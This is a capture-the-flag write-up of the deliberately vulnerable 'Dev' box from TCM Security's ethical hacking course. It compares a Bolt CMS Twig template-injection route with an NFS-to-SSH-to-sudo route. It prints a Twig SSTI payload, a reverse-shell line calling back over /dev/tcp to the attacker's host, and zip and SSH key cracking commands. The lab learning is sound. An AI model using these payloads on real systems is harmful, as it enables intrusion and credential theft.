Details reconstructed from memory of my own completed walkthrough — exact commands/outputs may be paraphrased.
Platform: TCM Security — Practical Ethical Hacking (PEH) Capstone
Difficulty: Intermediate
Category: Linux, NFS, Bolt CMS, Twig SSTI, privilege escalation
Dev is one of the capstone boxes from TCM Security's Practical Ethical Hacking course. It is a Linux host exposing a web stack (Apache + Bolt CMS) alongside an open NFS export, and it is deliberately solvable by two different routes. I completed it both ways to compare an "attacker creativity" path against the "intended" path:
- Path A — SSTI via Bolt CMS: register/log in to the Bolt backend, abuse the template editor to plant a malicious
.twigfile, trigger server-side template injection (SSTI) for awww-datashell, then escalate with the copy-fail kernel CVE. - Path B — intended (NFS → SSH → sudo): enumerate the NFS export, recover and crack a protected archive to obtain an SSH private key, log in as a real user, and escalate through a
sudomisconfiguration (GTFOBins).
Documenting both reinforced that a single box often has more than one valid chain, and that enumeration breadth (web and NFS) is what reveals the options.
I began with a full nmap service scan:
nmap -sC -sV -p- -oN dev-full.txt <target-ip>The surface that mattered:
- 22/tcp — OpenSSH
- 80/tcp — Apache (a basic/landing site)
- 8080/tcp — Apache hosting Bolt CMS
- 111/tcp & 2049/tcp — rpcbind / NFS
Two independent footholds stood out immediately: the Bolt CMS application on 8080 (web attack surface) and the NFS service (file-share attack surface). I enumerated both before committing to a path.
Bolt CMS exposes its admin area at /bolt. I obtained backend access by creating/using an account on the application, which put me into the authenticated dashboard where Bolt lets you manage content and, crucially, edit theme template files.
Bolt themes are rendered with Twig. The backend file/theme editor allowed me to create or modify a .twig template under the active theme. Twig, when attacker-controlled, is vulnerable to server-side template injection — expressions in the template are evaluated server-side, which can be chained into command execution.
A representative SSTI → RCE payload placed inside the .twig file:
{{ ['id'] | filter('system') }}and, to upgrade to a full reverse shell:
{{ ['bash -c "bash -i >& /dev/tcp/<your-ip>/4444 0>&1"'] | map('system') | join }}With a listener running (nc -lvnp 4444), I requested the page that renders the modified template. Twig evaluated the injected expression server-side and executed my command, giving me a reverse shell as www-data.
From the www-data context I ran standard local enumeration (id, uname -a, sudo -l, SUID sweep) and the kernel was vulnerable to the authencesn / CVE-2026-31431 bug. I used the same page-cache write primitive documented in my Copy Fail writeup to patch a setuid binary in place and escalate from the web user straight to root.
showmount -e <target-ip>
sudo mount -t nfs <target-ip>:/srv/nfs /mnt/dev -o nolockThe export contained a password-protected archive (a save.zip-style file) staged where it should never have been world-readable.
I cracked the archive password offline with a dictionary attack:
zip2john save.zip > zip.hash
john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash
# or: fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt save.zipInside were a todo/notes file and an SSH private key (id_rsa) belonging to a real system user. The key itself carried a passphrase, which I also cracked:
ssh2john id_rsa > key.hash
john --wordlist=/usr/share/wordlists/rockyou.txt key.hashWith the key and recovered passphrase I logged in as the legitimate user:
chmod 600 id_rsa
ssh -i id_rsa <user>@<target-ip>On the host I ran sudo -l and found the user was permitted to run a binary as root. That allowed command — a classic GTFOBins pattern — let me spawn a root shell (e.g. shelling out from the permitted binary, or abusing its file-read/write to drop a root payload). I confirmed id returned uid=0(root) and captured the proof.
Both paths converged on root, from which I collected the capstone proof:
id # uid=0(root)
cat /root/*.txt # root proof
cat /home/*/*.txt # user proofDev was the box that taught me boxes are rarely single-track. The intended NFS→SSH→sudo chain is clean, but the Bolt CMS backend offered a completely separate SSTI foothold that I'd have missed if I'd stopped enumerating after finding the open NFS share.
Key takeaways:
- Enumerate every service, not just the first useful one. Having both the web app and NFS mapped is what made two paths possible.
- Twig SSTI is a real RCE class, not a party trick — any CMS that lets a low-trust user edit templates (Bolt, here) is one payload away from server-side execution.
- NFS exports are a frequent loot source. A mountable share holding a crackable archive with an SSH key is a textbook misconfiguration, and
zip2john/ssh2john+rockyouresolves it quickly. - Always run
sudo -lfirst. The intended privesc was pure configuration abuse via GTFOBins — no exploit needed — which is faster and quieter than the kernel CVE I used on Path A.
Running it twice connected directly to my other repo writeups: the SSTI foothold mirrors my web-exploitation practice, and the Path A privesc reuses the exact authencesn kernel technique from Copy Fail.